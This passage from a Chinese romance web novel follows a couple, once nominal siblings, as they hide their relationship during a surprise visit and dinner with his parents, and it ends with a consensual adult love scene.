就像他说的,她的新生活早就开始了,为什么还要回头去看以前的事以前的人?就连姚敏她们都不提,她何必自寻烦恼。 这么一想,齐眉就觉得心里舒服多了,捧着他的脸蹭了蹭,自嘲道:“你这样显得我早上好呆啊,白白忐忑这么久。” “谁没做过点傻事。”江问舟笑着拥住她,问她,“今天没忘记吃药吧?” “吃了吃了,我觉得……”她脸一皱,“这次的药比上次的难喝。” “苦口良药利于病,你忍忍,快点好,不然姚敏她们到时候过来,你都没办法玩得尽兴,留给你的时间不多啦,下周就是最后一周了。” 江问舟说完捏捏她的脸。 齐眉撇着嘴先是往他怀里钻,一副要他抱的样子,江问舟刚要张手搂她,就被她用额头猛地一下砸在胸口。 咚的一声闷响,这是真的一点都不留情啊,他痛得直眯眼,还听齐眉她在那儿嚷嚷:“我跟你拼了!” 江问舟:“……”至于么,多大仇:) 刚想说点什么,就见齐眉突然一动不动。 “……怎么?”江问舟一愣,“脑袋撞疼了?我要给医药费吗?” 他都想好了,要是她真的说要,他就说没有,钱不都转给她了么。 但齐眉还是一动不动,就是嘴唇抿了起来,看他的眼神莫名有些复杂。 揶揄、好奇、惊讶,甚至还有点不好意思,多重情绪合为一体。 齐眉在他疑惑的目光里动了一下,感受了一下硌屁股的东西,眨眨眼:“哥你口袋里是什么呀,好像是个盒子?” 江问舟:“……” 他无语地看着她装傻的脸,反问道:“你说呢?” “我不知道啊。”她还是眨眨眼,“我又不是你怎么知道你买了什么好东西?” 江问舟顿时被她逗笑,捏着她的下巴把人拉过来,亲了亲她的鼻尖,声音刻意变得低柔:“你不是说你咳嗽昨天就好了吗?” 齐眉想说什么来着,但话到嘴边又忍不住变成嘿嘿的笑声:“那……我今晚不去店里啦?” “真没想到有朝一日我也能让君王不早朝。”江问舟眉头一挑,调侃道。 “朕封你做贵妃!”齐眉眉开眼笑地拍拍他肩膀。 江问舟捏着她的手指,看着她的眼睛弯起来,忽然说:“今年生日我给你买一枚戒指吧?” 齐眉一愣,心顿时往上一提,觉得呼吸都被捂了一下,紧接着心跳立刻变快起来。 他这句话比他口袋里揣着的东西更让她觉得不好意思。 她结结巴巴地问:“……为、为什么呀?你不是送了生日礼物了么?” 说着低眼去看自己脖子上*戴着的项链,红蓝宝石拼成一个心的吊坠,从她收到那天起就一直戴着。 江问舟顺着她视线,看到她脖颈上的吊坠,目光瞬间变得更加柔和,甚至直接低头,轻柔的吻落在吊坠上。 齐眉只觉得那温热的吻好像并不只是吻在吊坠上,还落在了她的心头,她忍不住哆嗦一下,脚趾都蜷缩起来,整个人软在江问舟怀里。 “没有为什么,就是想给你买。”江问舟亲亲她下巴,笑道,“你怕被爸妈看出来,不戴就是了,放在首饰盒里,以后再戴。” “……那多不好。”齐眉咕哝,“要不……你给我买一个那种、嗯……可以戴在食指的,当装饰品。” 最初的错愕过后,她的语气又恢复坦然,要求提得理直气壮。 管它是戒指还是什么,江问舟给她买什么都是理所当然的,他的就应该是她的。 江问舟想想:“什么样的?” “嗯……可爱一点,日常一点,不起眼一点。”齐眉歪着头想了想,提出要求。 “红宝石的?”江问舟点点头,接着问。 齐眉摇头:“不要,黄金的吧,干妈要是问,我就说招财,我们生意人可信这玩意儿了。” 江问舟:“……”真谨慎啊齐老板:) 齐眉见他被自己无语到了,便嘿嘿笑了两下,又伸手捧住他的脸。 俩人刚要亲昵,齐眉的手机就响了起来。 她疑惑地拿过手机一看来电显示,顿时倒吸一口凉气,幸好不是视频电话,因为这是孙茂芸打来的。 江问舟凑过来看了一眼,顿时眉头一挑,忍不住笑了起来。 “快接啊,妈的电话,愣着做什么?”他笑吟吟地催促道。 齐眉忍不住瞪了他一眼,手指捏住他的嘴唇,示意他待会儿不准出声。 江问舟的眼睛霎时弯出一个极柔软的弧度,很好地藏住了内心的激动。 齐眉接通电话,语气尽量镇定平稳:“干妈,怎么啦?” 江问舟侧耳仔细听。 “西西呀,你现在哪儿呢?我和你干爸到你们小区门口了,在家吗,还是去店里了?” 江问舟一愣,侧眼看向齐眉,只见她原本还算平静的神色此刻已经有些慌乱。 “呃……啊、你们怎么这个时候过来啦?”齐眉支吾着问道。 “出来买东西,顺便给你和舟舟也带了一点。”孙茂芸回答道。 江问舟这时眼皮一跳,下意识去找自己的手机。 齐眉哦哦两声,本来想撒谎说自己已经去店里了,可孙茂芸下一句话就是:“要是你去店里了,我们就不上去了,直接送去你店里给你吧?” 齐眉顿时一噎:“……”今天非得见到我吗:) 江问舟本来还有点担心,怕自己的手机突然想起来,可看到齐眉这样的神色,他又实在忍不住,嗤地笑了一声。 第50章 第五十章(二合一)西西最近有没有认…… 孙茂芸和江眀琮已经到了小区门口,马上就要上来,齐眉被这个消息砸了个措手不及。 她先是呆呆地愣了半晌,随即从江问舟的腿上一下弹起来,一不小心还踹他一脚。 江问舟吃痛得无语:“……至于这么紧张吗?我们又不是在床上被抓到。” “啊啊啊你听听你说这是什么话!”齐眉尖叫起来,“待会儿干爸干妈要是问你为什么在这儿,怎么解释?” 她说着话,看到了过来凑热闹的金金,顿时喉咙一哽。 “……还有金金的这些东西,一看就是长住才会有的,怎么解释嘛?!” 说到后面她的声音都有些不对劲了,又急又怕,神情也越来越慌乱。 江问舟顿时忍不住重重叹口气,拉住她安抚道:“镇定一点,就跟他们说,我是去实验室,路过顺便来看你的,金金呢,是因为你喜欢,我又太忙,所以偶尔会送过来住几天,为了它能习惯,才有的这些东西。” 说到这里他顿了顿,苦笑道:“一会儿你别出声,我来说,说谎这件事,有我一个就够了。” 等以后爸妈回过味儿来,指不定怎么骂他们呢,说谎的那个肯定被骂得更重。 齐眉看着他,想说什么,但还没说出口,就突然打了个嗝。 江问舟被她这反应逗得有些哭笑不得,连忙拍拍她的背:“好了好了,怎么这也能被吓到,小事来的。” 齐眉咬着嘴唇一声不吭,转身一把抱住他。 “没事的,大不了我回去住几天,只要爸妈不进我们房间就好了。”江问舟笑着道,努力安抚她这不过是一件小到不能再小的事。 甚至给她洗脑:“哥哥来妹妹家住几天很正常啊,爸妈都能来,哥哥为什么不能来,是不是?” 所以你正常点,不然包露馅的啊喂! 齐眉什么都懂,也知道他这是在刻意安抚自己,他心里未必全是这么想的,甚至他的话细究起来也是站不住脚的。 亲兄妹当然可以,但他们不是啊,他们按理来说是该避嫌的,不是吗? 可是,可是…… 齐眉也不知道该怎么反驳,更多的是觉得抱歉,别人的男朋友都可以光明正大介绍给父母,她的却不行。 “……对不起。”她止住嗝,在江问舟耳边喃喃道。 江问舟仿佛回到了还在申城的时候,她每次对告诉父母这件事反悔时,都会这样跟他说对不起。 现在是他的心境有了变化。 他不再只觉得可惜和想叹气,而是多了几分理解,每个人都有自己怯于面对的问题,他不也一样? “没关系,慢慢来,问题总会解决的。”江问舟笑着揉揉她的背。 然后拍拍,说:“好了,快收拾一下情绪,我去收衣服,爸妈一会儿就上来了。” 既然要掩饰就要掩饰得好一点嘛。 “幸好我回来还没换衣服。”江问舟一边吐槽,一边掏口袋。 齐眉看一眼他掏出来的盒子,有些不自在地努努嘴。 刚把家里粗略地收拾过一遍,门铃就响了,没等齐眉去开门,门就自己开了——孙茂芸有这边的密码。 她和江眀琮人手一个大袋子从门外一前一后地进来,先是喊了声:“西西!” 接着头一抬,立刻就愣住:“……舟舟怎么也在?” 话音刚落,金金就从猫爬架上跳了下来,跑到她面前不远处停下,仰着头好奇地看着他们。 甚至还有猫爬架…… 孙茂芸更觉错愕:“金金这是……搬家了?” 齐眉站在玄关拐向厨房的位置,抿着唇一声不吭,连叫人都忘了。 即便商量得再好,也还是心里忐忑,孙茂芸说一句话,她的心就提起来一次。 江问舟比她淡定多了,满脸没事人似的,过来帮忙提东西,解释道:“最近工作太忙,顾不上金金,家里又远,西西不是喜欢猫么,送她养几天。” “西西也要上班,哪儿管得过来,一会儿我和你爸接回去得了。”孙茂芸把手里的袋子交给他,接着道。 江问舟摇头:“到时候我去接多麻烦,在西西这儿,我每天还能看看它。” 这倒也是,孙茂芸便没再坚持,转头冲金金伸手,“来来来,让奶奶抱抱。” 又喊年年:“年年快来,我看看,你是不是瘦啦?金金好像也是。” “它们换毛啦,最近家里到处都是猫毛狗毛。”齐眉这时终于镇定下来,可以说话了。 大概是因为干爸干妈并没有表现出对江问舟出现在这里的质疑,他们似乎很轻易就接受了江问舟的说辞。 “你们这是买了什么东西,这么多?” “水果,碰上打折的了,肉和速冻食品多买了点,给你们备着不想煮饭或者半夜肚子饿的时候吃,你妈说这个牛肉看着不错。” “那怎么这么多?” “你们两个人,不得买两份啊,袋子拿过来……这些一会儿你拿回去……” 江问舟和干爸的说话声从厨房传出,齐眉忍不住眼皮一阵直跳。 孙茂芸一面拿逗猫棒逗金金和年年,一面问齐眉:“西西什么时候去店里?” “……啊?”齐眉回过神,连忙应道,“今天不去店里,呃、不想去,想休息一天。” “我说呢,这都四点多了,你怎么还在家。”孙茂芸笑眯眯道,“那我们晚上一起吃饭啊,难得人齐。” 齐眉连忙点头应好,说去看看都有什么菜。 走到厨房门口,和从里面出来的父子俩打了个照面,齐眉都不敢去看江问舟,只乖巧地和江眀琮打招呼。 江眀琮笑眯眯地道:“肉和菜都给你放冰箱了,还有虾。” 齐眉赶紧点头应好:“我看看晚上吃什么。” “懒得做就点外卖好啦。”江眀琮无所谓地道,他和孙茂芸跟很多家长不一样的一点,就是毫不忌讳外卖,因为他们以前还上班时就吃习惯了。 “先看看。”齐眉应道,还是没忍住,抬头看了一眼江问舟。 就见他给她递过来一个安抚的眼神,示意她没事的。 厨房的台面上,蓝色的保温袋还在,应该就是给江问舟一会儿拿回去的那一份东西,齐眉拎了一下,沉甸甸的。 这重量好像直接压在了她的心上。 天气实在是热,看过冰箱存货,齐眉又跟孙茂芸商量了一下,决定吃点爽口的菜。 凉拌黄瓜牛肉、手撕鸡、白灼虾和白灼菜心,都是些很快就能做好的菜,用孙茂芸的话说就是:“电饭锅煮饭都比做这几个菜久。” 齐眉失笑,问道:“那现在要喝点什么吗?” 顿了顿又说:“要不我做点杨枝甘露吧,我也还没吃下午茶呢。” “我来我来,你去弄喝的,问问你爸和你哥,他俩也就能喝个茶,咖啡都不知道这个钟点能不能喝呢。” 喝了晚上睡不着那就要受罪咯。 “家里自己做的,少放点咖啡和茶,应该还行……吧。” 齐眉蹭蹭鼻尖,出去问江问舟和江眀琮要喝什么。 “咖啡,茶,或者咖啡和茶都要?” 江问舟说都行,扭头去看他爸,江眀琮啧了声,说想吃雪糕。 糖尿病患者的日子就是这么悲催,能吃口甜的就已经是过年了。 江问舟忍不住叹口气:“那就吃吧,适当吃一点解解馋也好。” 说着又强调:“一根,一根就够了。” 齐眉想了想,说:“我给您做杯冰拿铁吧,上面放一球冰淇淋,小小一球,不多,但是很好喝很解馋的。” 江眀琮高兴地答应了,齐眉就看江问舟。 江问舟点点头:“我跟爸一样。” 她又去问孙茂芸,最后一家四口一人捧着一杯同样的冰淇淋拿铁,坐在客厅里一边说话一边看金金和年年打闹。 拿铁本来就是冰的,冰淇淋加入后让拿铁升温更慢,冰凉的咖啡和杯子也减缓了冰淇淋的融化速度,让他们可以一边闲聊一边慢慢品尝被冰淇淋搅和得奶味更加浓郁的咖啡。 齐眉的精神也慢慢放松下来,虽然还是对隐瞒和江问舟的关系这件事很有愧疚,但她确实是松了口气。 甚至忍不住想,江问舟一直都说他会处理这件事,让她别担心,可她一直将信将疑,现在倒是一个很好的机会,她得看看这人要怎么处理。 正好孙茂芸说起以前家里的老邻居:“四栋那个老张家,他家姑娘回来了诶,带了对象回来。” 齐眉闻言先是一愣,随即惊讶:“是么?我记得他家女儿不是……张叔叔走之后,她不是跟家里闹翻了么?” “是啊,这不已经两三年没回家了么,对象都是自己在外头找的,听说家里条件不怎么好。” “那这次怎么突然回来了?” “亲妈病了嘛,怎么也得回来看看。” 齐眉听了刚哦一声,就听江问舟满脸疑惑地问:“所以跟家里闹翻是因为什么事?” 他觉得自己根本听不懂这俩人在说什么。 江眀琮一边仔细品味着雪糕的香甜,一边叹口气回答道:“他们老家之前拆迁不是拿到两套房吗,老张走的时候,就跟家里人说,房子要给一套给女儿,老婆跟儿子答应得好好的,结果等丧事刚办完,要整理东西了,嫂子就说自古以来继承家产的都是男丁,哪有把房子给女儿的,不同意老张走之前的安排。” 江问舟有些惊讶:“那为什么当时要答应?而且张叔叔走了,不是该他家阿姨做主了么,就这么看着儿媳妇欺负女儿?” “哎呀,不是我故意想说人坏话,实在是老田那个人很难评价。”孙茂芸边说边摇头,“女儿生气,说她妈偏心她哥是白眼狼,闹翻之后就走了,说再也不会回家,断绝关系算了,反正她爸没了她跟孤儿没什么区别,老田就跟我们哭诉,说自己很委屈,她也是没办法,老张走了就是儿子当家,她以后要靠儿子养老,只能听他和儿媳妇的,我们说那你把房子给女儿,以后女儿还能不管你吗,她就说,哪有让女儿养老的,她又不是没有儿子。” 孙茂芸说完又摇摇头,撇了一下嘴角,叹口气。 江问舟恍然大悟:“所以跟嫂子也没太多关系,最重要的是当妈和当哥哥的不作为,张叔叔说的时候,他们不敢反抗或者怕把他气没了,就没有反对,所以嫂子不吭声,张叔叔没了,母子俩想反悔或者被嫂子说动了,嫂子才会说这样的话。” 齐眉点点头,问道:“然后呢,回来之后呢?” “听楼下的罗老师说吵得很厉害。”孙茂芸道,“说嫂子看不起妹夫,撺掇着老田让女儿离婚。” 她终于忍不住翻了个白眼:“可真是个搅家精,苦又不用她吃,尊重他人命运很难吗?” “她是怕小姑子以后有事要他们帮忙嘛,生怕别人占了一丝便宜,要是普通亲戚还好说,亲哥亲嫂子这么做真的让人心寒。” 江眀琮说完,又用吸管刮一点雪糕咂一下。 孙茂芸老生常谈:“所以找对象要擦亮眼睛,家庭条件工作收入都是次要的,首先得这人本身,还有他的家里人,要是正常人,有点小心思很正常,但要顾全大局嘛,家人之间互相体谅和帮助都做不到,那在一起干什么。” 她边说边看着江问舟,一副我这是在点你的意思。 江问舟见状立刻点头表示受教,一本正经应承道:“我以后找个跟西西一样的。” 齐眉:“???” 她吓了一跳,这种时候提她干什么?!! “你们跟西西能相处得来,找个跟她一样脾气性格的,就不怕了。”江问舟笑眯眯地继续解释道。 “说得跟真的一样。”孙茂芸吐槽,“西西是西西,就算别的人跟她性格脾气一样,那也不是她啊,又不是脾气一样就一定相处得好,万一不合眼缘,脾气再好也白搭。” 她说到这里摆摆手,有些烦了似的:“跟你说多了你也不懂,反正你谨慎一点,宁缺毋滥,不结婚也没什么。” 江问舟连连应是,见江眀琮起身去洗手间,刚好挡住了孙茂芸的视线,便趁机冲齐眉眨眨眼。 齐眉呼吸一顿,赶紧别过头去,觉得耳朵上一阵火辣辣。 ————— 天色渐暗,喂过金金和年年之后,一家人终于坐下开始吃晚饭。 餐桌旁边就是小吧台,江问舟帮忙端菜的时候,她就在那儿调酒。 她给孙茂芸用金酒和黄瓜利口酒搭配茉莉花茶调了一杯口感清爽的黄瓜茉莉金,自己和另外俩人是一人一杯冰茉莉花茶。 江眀琮是因为待会儿回去要开车,而江问舟…… 齐眉有些抱歉地看他一眼,他一会儿也是要“回去”的嘛,同样不能喝酒哈。 江问舟眉头一挑,似笑非笑地冲她说了句:“谢谢西西。” “……舟哥不用客气。”齐眉嘴角一抽,也学他阴阳两句。 江眀琮刚坐下,又立刻起来,说要个卫生间。 孙茂芸说他是懒人屎尿多,齐眉听了忍俊不禁,江问舟竟然还接了一句:“幸亏不是说肾不好,对吧,爸?” 江眀琮当他发神经,头也不回地进了卫生间。 洗手的时候他没有纸了,记得纸是被齐眉放在洗手盆下边的柜子里,便要伸手开柜子。 结果关柜门时一不小心,将上面那层抽屉也拉了出来,正好让他看见一把黑色的电动牙刷。 已经拆盒的牙刷斜斜躺在抽屉里,不像是新的备用品,他抬头看一眼洗手台上粉色的电动牙刷,眨眨眼。 心里有一道好奇的声音催促他将抽屉再往外拉了一下。 这次他看到了两把剃须刀,一把是他和妻子在这边小住时用过的,已经用盒子装了起来,一旁还有两把眼熟的电动牙刷。 而另一把剃须刀,和黑色的电动牙刷一样,没有任何收纳措施,就这么随手放在那儿。 江眀琮愣了一下,心里升起稀奇疑惑,同时又觉得有些不是滋味。 真是一转眼的功夫,家里的孩子就都大了。 他洗完手,回到饭厅,坐下之后看一眼齐眉,忽然问了句:“西西最近有没有认识什么新朋友啊?” 问得没头没尾,十分突兀,大家都被问得一愣,尤其是齐眉,抬头迎上他似有深意的目光,心里猛然一提。 她忍不住吞了一下口水,勉强镇定着问道:“没有啊,干爸你怎么突然这么问?” 江眀琮表面随意,实则正暗暗注意她的反应,闻言便直说了,“我在卫生间的抽屉里看到多的电动牙刷和剃须刀,不像我和你妈的,那是谁的啊?” 齐眉闻言瞳孔不由自主地一缩。 我靠!她的呼吸在这一刻都停住了,啊啊啊,怎么就这么巧!? 她一时不知道该怎么回答,又不敢看江问舟。 更不能沉默,因为这个时候沉默就是一种回答,告诉大家,这是有问题的。 “您说那个啊……” 她一面回答,一面移动着桌上的碗筷盘碟,好像很忙的样子,其实心里一直在尖叫。 啊啊啊!死脑,快想理由啊!!! “黑色的是不是?”江问舟这时反应了过来,立刻出声解围,“要是黑色的那就是我的。” 齐眉觉得自己快要窒息了。 大哥你在胡说八道些什么啊?这是能说的吗!!! 江眀琮和稍后反应过来的孙茂芸都愣了一下,疑惑地看向他,问是怎么回事。 “你的东西怎么在西西这儿?” 江问舟神色淡定的一批,哦了声:“上次……就是西西去派出所那次,我去接的她,回来的时候实在太晚了,就没回去,在沙发对付了一晚。” 他边说边把虾和牛肉换了个位置,端到自己面前来。 继续道:“第二天我不用刷牙么,胡子也得剃吧,不然出去吓到人多不好,西西就给了我一个新的牙刷,又给我买了把剃须刀。” 这理由听起来多么逻辑通顺,完全说得过去,孙茂芸几乎是立刻就接受了,哦哦两声:“吓得我,还以为你爸突然发现西西谈恋爱了呢。” 江问舟笑笑,看一眼一声不吭,大气都不敢出的齐眉,没接这话。 他接着看向没说话的江眀琮,父子俩的目光在半空中碰撞了一下,只一瞬,视线就互相错开了。 他很明显的感觉到了江眀琮目光里的探究和审视,但犹豫几秒,还是决定先当没发现。 按兵不动嘛,这个时候谁着急谁就会陷入被动。 巧了,江眀琮也这么想的,他很快就跟没事人似的,淡定地吃起饭来,夹了一片牛肉还说:“这菜要是有酒就好啦,多适合下酒。” “酒你个头,不准喝!”孙茂芸数落他,“让你戒烟,戒一年了还戒不掉,信不信我送你去电击?” 他顿时苦起脸:“这么恨我吗?” 孙茂芸刚要骂他,江问舟就问:“要不我给爸挂个戒烟门诊看看?” “我看可以。”孙茂芸立刻点头,“去让医生看看,是不是心理的依赖性还没去除干净。” 她甚至暴言:“你们抽烟跟吸/毒有什么区别?!” 齐眉从刚才的惊吓中一点点镇定下来,抬头看一眼江眀琮挨骂过后有些讪讪的脸,总算松了口气。 刚才太吓人了!怎么会突然拉抽屉检查啊?! 难道是干爸看出了什么?他们到底哪儿露馅了啊? 齐眉想到这种可能,顿时有些坐立不安,但又不能表现出来,只好死死按住心里的躁动,强行让自己镇定下来。 有什么要问江问舟的,也得等吃完饭,干爸干妈回去了再说。 这顿饭总体来说吃得还是很满意的,后来江问舟向孙茂芸问起:“要是外地的朋友过来,你说带去哪里玩比较好?” “外地的朋友?谁啊,你同学吗?”孙茂芸有些疑惑。 江问舟摇摇头,把剥好的虾仁分给她和齐眉,解释道:“是西西的同学,大学……一共当了八年室友,对吧?” 他看一眼齐眉,齐眉立刻点头嗯了声。 “这么久的室友啊,关系好不好呀?”孙茂芸问道,“关系够好就请她们去翠湖宾馆吃早茶呀,那里早茶好吃,风景好又有演出看,订位都难,容城早茶第一梯队了,以前我接待客户,要关系很到位我才会在那里请喝茶的,要是关系普通你就随便找个性价比一点的酒楼,反正都差不多,很多店都开始用预制点心了,但还是要吃吃,本地特色嘛。” 齐眉听到这里有些忍俊不禁,点头介绍说:“是关系很好的同学,之前其中一个结婚我没去,还是舟哥去帮我送的礼金。” 孙茂芸和江眀琮不知道过去的几年她和江问舟是完全没有联系的,只以为他们是因为在不同城市生活,有了不同圈子,所以联系少了,但该联系还是会联系的。 因此齐眉在说这句话时倒也不怕被发现什么不对劲。 孙茂芸确实没怀疑,闻言笑道:“那你带她们去电视塔玩玩好了,虽然本地人都很少去,但那边可以看到还不错的风景。” 齐眉听到这里忍不住噗一下笑出声来。 “……怎么?”孙茂芸一愣,还以为自己说错了什么。 齐眉连连摇头,说:“没什么,就是……我想到舟哥跟她们说,电视塔本地人都不去的,没意思,建议她们别选这个景点。” 结果转头他亲妈就给他塌台,要是姚敏她们在这儿,都不知道该听谁的好了。 一家人说笑着吃完晚饭,也不过晚上七点半,孙茂芸和江眀琮没多留,很快就说要回去了。 “舟舟走不走,一起下楼。”她边往玄关走,边问江问舟。 江问舟赶着年年往门口去,应道:“你们先回去吧,我帮西西把狗遛了。” 江眀琮听到这话,转过头看了他一眼。 正好和江问舟四目相对,没等他别开脸呢,江问舟就说:“下周给你约个戒烟门诊,爸你别忘了过来。” 江眀琮不爱当病人,当即脸就成了苦瓜。 “我和年年送爸妈下楼,你要不要一起出去散散步?”江问舟笑着转头问齐眉。 齐眉捧着她的中药,也是一张苦瓜脸,叹气道:“你自己去吧,我不想出门。” “你好好喝完啊,可不准倒了。”孙茂芸出门前忽然说了这么一句。 齐眉一噎,抬眼就看见江问舟揶揄的表情,不禁有些赧然。 小时候那次也是咳很久,什么药都试过了,最后也要吃汤药,她嫌苦,喝了几天不想喝了,就偷偷浇给阳台上的仙人掌,结果没过几天就穿帮了。 废话,谁家正经的仙人掌会散发一股药味啊:) 江问舟遛狗遛了差不多有一个小时,到家时齐眉刚帮金金梳完毛,家里的扫拖一体地机人正在工作,金金蹲在茶几上瞪着大圆眼睛紧盯着它,似乎对它非常感兴趣。 听见开门声,齐眉立刻抬头去看他:“回来啦?” “给你带了个红豆饼。”江问舟一边换鞋,一边把手里的袋子交给年年叼着,拍拍它屁股,“去,拿给你妈。” 齐眉接到红豆饼之后,问江问舟:“你说……干爸、吃晚饭的时候,干爸问的那话……是什么意思?” “怀疑罢了。”江问舟过来,在她旁边坐下,搂住她肩膀。 应完往下一滑,倒在她腿上,声音懒洋洋的:“走得累了,让我躺躺。” 齐眉掰了一口红豆饼喂给他,继续问:“怀疑我们吗?” 江问舟嚼嚼嚼,哼了声:“一半的概率。” “……啊?”齐眉吓得一哆嗦,红豆饼的酥皮都被她抖掉了一层,“那、那那那……会不会……” 她语无伦次,根本不知道自己要说什么。 江问舟让她放轻松,“爸是个很谨慎的人,他除非能找到很切实的证据,否则不会轻易打草惊蛇……啊不是,是打草惊我们,更不会贸然跟妈讲的。” “可是……”齐眉整个人都有点颓然,“可是他会很生气吧?” 江问舟沉默片刻,摇摇头,很坦诚地道:“我也不知道,但我感觉,他会更生我的气,但是……” 他顿了顿,像是考虑了一下,才继续道:“但爸妈之间,爸才是那个容易说服的,只要他到时候不是直接把事情捅到妈那儿,我就觉得问题不大。” 因为孙茂芸包爆发的,不管她最后同不同意他们在一起,都一定会爆发一次——因为他们撒谎了。 齐眉顿时扁着嘴皱起了眉头,神情苦恼又慌张:“……那怎么办?” “我先去挨骂呗。”江问舟躺在她腿上,翘起了二郎腿,声音听着似乎有些无所谓,“等他们骂完,冷静下来了,就可以讲道理了。” 而且,“你说我们之间除了当过名义上的兄妹,还有什么问题吗?就这兄妹都是假的,我爸妈没收养过你,给你上学办户口是用投靠亲戚的名义,大学以后我们的户口也不在一起了,正准确的说,你是我爸战友的女儿,我们属于是父母熟人的孩子,在一起有什么问题吗?” 齐眉听得一愣一愣的,啊啊半天:“那你这么说的话……也有道理……” “是吧,所以你以前就是转不过弯来。”江问舟笑着捏捏她脸蛋,转移话题,“我想要一杯和妈晚上喝的一样的酒可以吗?” “……啊?你想喝呀?”齐眉微微一愣,点点头说好,推推他肩膀。 江问舟坐起来,手指不太老实的顺着她手腕经络往上爬,语气还是懒洋洋的,“大半夜又不去哪儿,喝点也无所谓,再说了……” 他顿了顿,扭头看着她笑:“我喝点酒,壮壮胆。” 齐眉一噎,无语地回了句:“壮什么胆,色胆吗?” 江问舟笑着不说话,跟她一起去了饭厅,坐在一旁看着她将要用的基酒倒进量酒器里,再倒进雪克壶,每一次手腕翻转都像是在舞台上的一次转身,举手投足有种行云流水的美感。 他忽然说了句:“什么时候也教教我吧。” 齐眉闻言一愣,抬眼看他,有些惊讶:“教你什么?调酒?” 江问舟点点头,笑着道:“你会的东西,我也想学学,西西,这次换我来靠近你。” 他的目光温和柔软,齐眉想起中学时,他已经去读大学,放假回来她还没放假,他会去接她放学,对她说,今天是我来接你。 那是她揣着满腔少女心事,开始努力向他靠拢的日子。 “好呀。”她低下头,笑着道,“这个不简单哦,你可不能半途而废。” 江问舟笑着点点头。 然后发现齐眉给他调的这杯酒,颜色和孙茂芸晚上喝过的截然不同,晚上那杯是淡淡的米白色,而这杯却是红色的,看起来似乎…… 有点危险,又魅惑人心,似乎是黑夜专属。 “这不是我点的那杯吧?”他眉头一挑,看着齐眉。 正想说她这调酒师怎么惘顾客人意见啊,就听她笑吟吟地道:“这杯叫翻云覆雨。” 江问舟顿时笑起来,点点头:“谢谢,这杯确实更让我喜欢。” 50-60 第51章 第五十一章(二合一)(解锁)这就是…… 深夜,本来就算不上十分宽敞的卫生间因为两个人一起进来,而显得有些拥挤。 男人修长匀称的身形被氤氲的水汽完美勾画,衬衫已经在此前的纠缠中完全敞开,胸口裸露的大片皮肤随着呼吸一起一伏。 齐眉的视线划过他的胸肌,顺着腹肌的走向看见他西裤上的皮带扣子,忍不住有些手痒。 越过扣子再向下……她看了一眼,立刻装作无事一样抬起头,却偏巧和江问舟四目相对。 顿时有些莫名的尴尬,甚至开始口干舌燥。 “又不是没见过。”江问舟揶揄她,捏捏她脸,“怕什么羞。” 齐眉一噎,尴尬地嘀咕:“……很久不见,觉得陌生了不行啊?” 怎么会不行,江问舟皱着眼角笑起来,将她抓着自己胳膊的手拉过来,放到皮带扣子上。 低声问*她:“西西,帮帮我?” 音调低得像是无意识的呢喃,齐眉只觉得耳朵又痒又烫,似乎连呼吸都变得有些不畅。 偏这时江问舟还亲了过来,轻柔的吻落在她眼睫上,她忍不住闭上眼。 但她的肌肉记忆似乎在这一刻开始苏醒,只是轻轻一按,就听见一声有些清脆的“咔”,皮带扣子被打开了。 裤子往下一掉,卡在髂前上棘上,齐眉还没来得及有下一步动作,铺天盖地的吻便将她淹没。 江问舟的吻时而是和风细雨,时而又像狂风骤雨,很快就让齐眉束手无策,她根本不知道接下来会怎么样,脑子里一团浆糊。 这样她便会什么都听他的了,江问舟亲了亲她的布满红晕的脸,笑着问她:“在这里还是回房间?” 齐眉晕头转向,连听力都有些受损,听到什么就跟着说什么:“……这里。” “这可是你说的,待会儿别后悔。”江问舟轻笑,掐着她的腰往上一提,让她坐上了洗手台。 他的衬衫不知什么时候铺在了洗手台上,让她可以免于感受那一瞬间和现在体温相差甚大的温度。 不然让凉得清醒了怎么办。 齐眉坐在洗手台上,人比江问舟高了一截,她低头看见男人乌黑的发顶,下意识去抓住他的头发。 却阻挡不了他埋首于自己胸前的动作。 江问舟站在她的身前,抬了一下她的小腿,他的腰就被圈住了,和她离得愈发近。 熟悉的馨香愈来愈浓烈,也越来越暖,江问舟整个人都被这种气息包裹住,不由自主地去寻找香气散发的源头。 齐眉今天没出门,穿了一套很宽松的家居服,但上衣却是套头的,脱起来有些麻烦。 江问舟啧了声:“抬手。” 齐眉懵懵的照做,刚抬起手,就觉得脸被布料擦过,上身的衣服瞬间不翼而飞。 眼看着衣服好像被他顺手搭在了马桶的水箱上,她忍不住咕哝抗议:“不要把我的衣服放在那里嘛……” “我给你买新的。”江问舟嗯了声应道。 齐眉觉得不高兴:“你喜新厌旧。” “胡说,我怎么喜新厌旧了,我女朋友一直是旧人。”江问舟跟她斗嘴,一口咬在她肩带旁边,留下一个很清晰的牙印。 齐眉一痛,想抗议,发出的却是小猫一样的呜声,听起来像撒娇。 江问舟听了忍不住笑。 人有些东西是无论如何都改不了的,就像她情迷时的呜咽,和藏在宽松衣衫下的柔软。 他突然觉得齐眉现在的着装喜好也有好处了。 至少这些无与伦比的美丽,再也不会泄露一丝一毫,全都由他私有。 ——他的独占欲和自私之心在这一刻毫无预兆的突然直达顶峰。 他在齐眉身上落下一个又一个吻,但到了最后关头,又紧急刹车,想起来还没洗澡。 将人从洗手台上抱下来时,江问舟眼尖的看见深色衬衫上有一块布料的颜色似乎更深。 他忍不住笑了声。 齐眉挂在他身上,有些难耐地扭了两下,有些回过神来了,抗议似的问:“怎么不继续了?” “先洗澡,你也不想生病吧?”江问舟似乎有些无奈,还拍拍她的臀。 没用力,更像是抚摸,甚至还捏了捏,齐眉从喉咙里哼出一声。 这动作的意味立刻就变了,他自己都觉得像是在调情。 热水从头顶淋下,淅淅沥沥地打湿头发,齐眉仰起脖颈,水流顺着她的脖颈流便全身,不知道是不是水温太烫了,她觉得浑身都发热。 “……我热。”她攀着江问舟的肩膀,嘟囔着表示不满。 其实水温是刚好的,她觉得热是因为激动。 所以江问舟搂着她哄:“洗完就好了。” 然而并不会,只是齐眉已经来不及在意,她看着镜子里自己媚态横生的脸孔一阵恍惚,觉得陌生,又似乎熟悉。 身后是让她变成这样,还非要让她直面自己如此情状的始作俑者。 他灼热的胸膛紧贴她的后背,心跳渐渐汇成同样的频率,他们也终将成为一体。 才刚洗过的澡俨然白洗了,汗水和湿黏淌满身上每一寸沟壑,齐眉觉得自己的神智已经出走很远很远。 忽然听见耳边传来一声“呼”的叹息。 她猛然被拉回,认出这是江问舟的喘息,他舒服的时候就会发出这样的声音。 那种可以掌控他所有情绪的感觉又回来了,齐眉忍不住缩了缩小腹。 江问舟的呼吸一顿,低头咬在她肩膀上,有些无奈地求饶:“西西,别这样……” 